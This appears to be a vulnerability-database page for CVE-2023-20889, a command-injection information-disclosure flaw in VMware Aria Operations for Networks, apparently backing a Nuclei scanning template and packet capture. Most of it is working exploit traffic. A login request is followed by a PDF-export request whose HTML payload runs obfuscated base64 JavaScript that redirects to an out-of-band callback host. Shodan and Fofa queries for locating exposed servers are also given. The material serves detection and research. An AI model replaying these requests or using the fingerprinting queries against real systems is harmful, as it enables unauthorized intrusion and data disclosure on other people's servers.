| Title | VMware Aria Operations for Networks - Code Injection Information Disclosure Vulnerability |
|---|---|
| Author | iamnoooob,rootxharsh,pdresearch |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can result in unauthorized access to sensitive information. |
| Remediation | Apply the latest security patches provided by VMware to mitigate this vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.89973 |
| CVE ID | CVE-2023-20889 |
| CWE ID | CWE-77 |
| Shodan Query | title:"VMware Aria Operations"http.title:"vmware vrealize network insight"http.title:"vmware aria operations" |
| Fofa Query | title="vmware vrealize network insight"title="vmware aria operations" |
| Tags | cve2023 cve vmware aria disclosure authenticated rce oast intrusive vuln |
Aria Operations for Networks contains an information disclosure vulnerability. A malicious actor with network access to VMware Aria Operations for Networks may be able to perform a command injection attack resulting in information disclosure.
POST /api/auth/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.2 Safari/605.1.15
Connection: close
Content-Length: 64
Content-Type: application/json;charset=UTF-8
X-Vrni-Csrf-Token: null
Accept-Encoding: gzip
{"username":"lh9ySU","password":"FSjY2y","domain":"localdomain"}
POST /api/pdfexport HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 464
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFkpSYDWZ5w9YNjmh
X-Vrni-Csrf-Token: eVy7Kh
Accept-Encoding: gzip
------WebKitFormBoundaryFkpSYDWZ5w9YNjmh
Content-Disposition: form-data; name="38EtazquzXusyN12MsdQ8V6XOLb"
<!DOCTYPE HTML>
<html>
<head>
<title>Test</title>
</head>
<body>
<p data-vrni='vRealize'><style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationstart="eval(atob('bG9jYXRpb249J2h0dHA6Ly9kNWpraWM5bGUwbzNrODdyMTh2MGRlb3hwcGE5Y28xam4ub2FzdC5zaXRlJw=='))"></xss></p>
</body>
</html>
------WebKitFormBoundaryFkpSYDWZ5w9YNjmh--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-20889.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-20889.pcap
N/AN/A